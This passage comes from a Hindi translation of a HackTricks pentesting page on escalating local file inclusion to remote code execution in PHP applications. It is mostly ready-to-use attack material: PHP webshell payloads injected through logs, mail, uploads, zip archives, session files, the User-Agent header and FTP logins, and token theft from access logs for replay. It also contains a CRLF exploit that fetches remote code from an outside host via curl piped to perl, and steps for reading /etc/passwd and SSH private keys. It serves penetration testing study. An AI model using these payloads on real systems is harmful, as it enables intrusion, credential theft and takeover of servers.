/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

एक्सेस लॉग पढ़कर GET-based auth tokens (token replay) एकत्र करें

कई apps गलती से session/auth tokens को GET के माध्यम से स्वीकार करते हैं (उदा., AuthenticationToken, token, sid)। यदि आपके पास web server logs में path traversal/LFI primitive है, तो आप access logs से उन tokens को चुरा कर उन्हें replay करके authentication को पूरी तरह बायपास कर सकते हैं।

How-to:

  • traversal/LFI का उपयोग करके web server access log पढ़ें। सामान्य स्थान:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • कुछ endpoints फाइल reads को Base64-encoded के रूप में लौटाते हैं। यदि ऐसा है, तो स्थानीय रूप से decode करें और log lines की जाँच करें।
  • उन GET requests के लिए Grep करें जिनमें token parameter शामिल है और इसका मान कैप्चर करें, फिर उसे application entry point के खिलाफ replay करें।

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

यदि बॉडी Base64 है तो उसे डिकोड करें, फिर कैप्चर किए गए token को replay करें:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

नोट:

  • Tokens in URLs डिफ़ॉल्ट रूप से लॉग होते हैं; production systems में कभी भी GET के जरिए bearer tokens स्वीकार न करें।
  • यदि app कई token नामों का समर्थन करता है, तो AuthenticationToken, token, sid, access_token जैसे सामान्य keys के लिए खोज करें।
  • किसी भी tokens को रोटेट करें जो logs में leaked हो सकते हैं।

ईमेल के माध्यम से

मेल भेजें एक internal account (user@localhost) पर, जिसमें आपका PHP payload जैसे <?php echo system($_REQUEST["cmd"]); ?> शामिल हो और उपयोगकर्ता के मेल को इस तरह के path से include करने की कोशिश करें /var/mail/<USERNAME> या /var/spool/mail/<USERNAME>

के माध्यम से /proc//fd/

  1. कई shells अपलोड करें (उदा.: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, जहाँ $PID = process का PID (brute forced किया जा सकता है) और $FD file descriptor है (इसे भी brute forced किया जा सकता है)

के माध्यम से /proc/self/environ

लॉग फ़ाइल की तरह, payload को User-Agent में भेजें; यह /proc/self/environ फ़ाइल के अंदर प्रतिबिंबित होगा

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

अपलोड के माध्यम से

यदि आप फ़ाइल अपलोड कर सकते हैं, तो उसमें shell payload इंजेक्ट कर दें (e.g : <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

फाइल को पढ़ने योग्य बनाए रखने के लिए, सबसे अच्छा है कि pictures/doc/pdf के metadata में inject किया जाए।

ZIP file upload के माध्यम से

एक compressed ZIP फ़ाइल अपलोड करें जिसमें PHP shell शामिल हो और फिर उसे access करें:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHP sessions के माध्यम से

जाँच करें कि वेबसाइट PHP Session (PHPSESSID) का उपयोग करती है या नहीं

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP में ये sessions /var/lib/php5/sess\[PHPSESSID]_ फ़ाइलों में स्टोर होते हैं

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

कुकी को <?php system('cat /etc/passwd');?> के रूप में सेट करें

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

PHP session file को include करने के लिए LFI का उपयोग करें

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

ssh के माध्यम से

यदि ssh सक्रिय है तो जांचें कि कौन सा उपयोगकर्ता उपयोग में है (/proc/self/status & /etc/passwd) और <HOME>/.ssh/id_rsa तक पहुँचने की कोशिश करें।

vsftpd logs के माध्यम से

FTP सर्वर vsftpd के लॉग्स /var/log/vsftpd.log पर स्थित होते हैं। उस स्थिति में जहाँ Local File Inclusion (LFI) vulnerability मौजूद है, और exposed vsftpd server तक पहुँच संभव है, निम्नलिखित कदम विचार में लिए जा सकते हैं:

  1. लॉगिन प्रक्रिया के दौरान username फील्ड में PHP payload inject करें।
  2. Injection के बाद, LFI का उपयोग करके सर्वर लॉग्स को /var/log/vsftpd.log से प्राप्त करें।

php base64 filter (using base64) के माध्यम से

जैसा कि this लेख में दिखाया गया है, PHP base64 filter Non-base64 को अनदेखा कर देता है। आप इसका उपयोग file extension चेक bypass करने के लिए कर सकते हैं: यदि आप ऐसा base64 दें जो “.php” पर समाप्त होता है, तो यह “.” को अनदेखा कर देगा और base64 में “php” जोड़ देगा। यहाँ एक example payload है:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

के माध्यम से php filters (कोई फ़ाइल आवश्यक नहीं)

This writeup समझाता है कि आप php filters का उपयोग आउटपुट के रूप में किसी भी सामग्री को जनरेट करने के लिए कर सकते हैं। जिसका मतलब है कि आप include के लिए php code किसी फ़ाइल में लिखने की आवश्यकता के बिना जनरेट कर सकते हैं।

LFI2RCE via PHP Filters

segmentation fault के माध्यम से

Upload एक फ़ाइल जो /tmp में temporary के रूप में स्टोर होगी, फिर उसी same request, में एक segmentation fault ट्रिगर करें, और फिर वह temporary file won’t be deleted रहेगा और आप उसे खोज सकते हैं।

LFI2RCE via Segmentation Fault

Nginx temp file storage के माध्यम से

अगर आपको Local File Inclusion मिला है और Nginx PHP के आगे चल रहा है तो आप निम्नलिखित तकनीक से RCE प्राप्त कर सकते हैं:

LFI2RCE via Nginx temp files

PHP_SESSION_UPLOAD_PROGRESS के माध्यम से

यदि आपको Local File Inclusion मिला है भले ही आपके पास session न हो और session.auto_start Off हो। यदि आप PHP_SESSION_UPLOAD_PROGRESS को multipart POST डेटा में प्रदान करते हैं, तो PHP आपके लिए session को enable कर देगा। आप RCE पाने के लिए इसका दुरुपयोग कर सकते हैं:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Windows में temp file uploads के माध्यम से

यदि आपको Local File Inclusion मिला है और सर्वर Windows पर चल रहा है तो आपको RCE मिल सकता है:

LFI2RCE Via temp file uploads

pearcmd.php + URL args के माध्यम से

As explained in this post, स्क्रिप्ट /usr/local/lib/phppearcmd.php php docker images में डिफ़ॉल्ट रूप से मौजूद होती है। इसके अलावा, URL के माध्यम से स्क्रिप्ट को arguments पास करना संभव है क्योंकि यह संकेत किया गया है कि अगर किसी URL param में = नहीं है, तो उसे argument के रूप में उपयोग किया जाना चाहिए। देखें भी watchTowr’s write-up और Orange Tsai’s “Confusion Attacks”

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

निम्नलिखित CRLF vuln का दुरुपयोग करके RCE प्राप्त किया गया है (from here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

phpinfo() के माध्यम से (file_uploads = on)

यदि आपको एक Local File Inclusion मिला है और एक फ़ाइल जो phpinfo() दिखाती है जिसमें file_uploads = on है, तो आप RCE प्राप्त कर सकते हैं:

LFI2RCE via phpinfo()

compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure के माध्यम से

यदि आपको एक Local File Inclusion मिला है और आप temp file का path exfiltrate कर सकते हैं लेकिन server यह check कर रहा है कि include की जाने वाली फाइल में PHP marks हैं, तो आप इस Race Condition के साथ उस check को bypass करने की कोशिश कर सकते हैं:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

eternal waiting + bruteforce के माध्यम से

यदि आप LFI का दुरुपयोग करके temporary files upload कर सकते हैं और सर्वर की PHP execution को hang करवा सकते हैं, तो आप घंटों तक brute force filenames करके temporary file ढूंढ सकते हैं:

LFI2RCE via Eternal waiting

Fatal Error तक

यदि आप किसी भी फ़ाइल को include करते हैं /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar। (उसी फ़ाइल को त्रुटि फेंकने के लिए 2 बार include करना होगा)।

मुझे नहीं पता यह कितना उपयोगी है पर संभव है।
भले ही आप PHP Fatal Error पैदा करें, अपलोड की गई PHP temporary files delete हो जाती हैं.

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें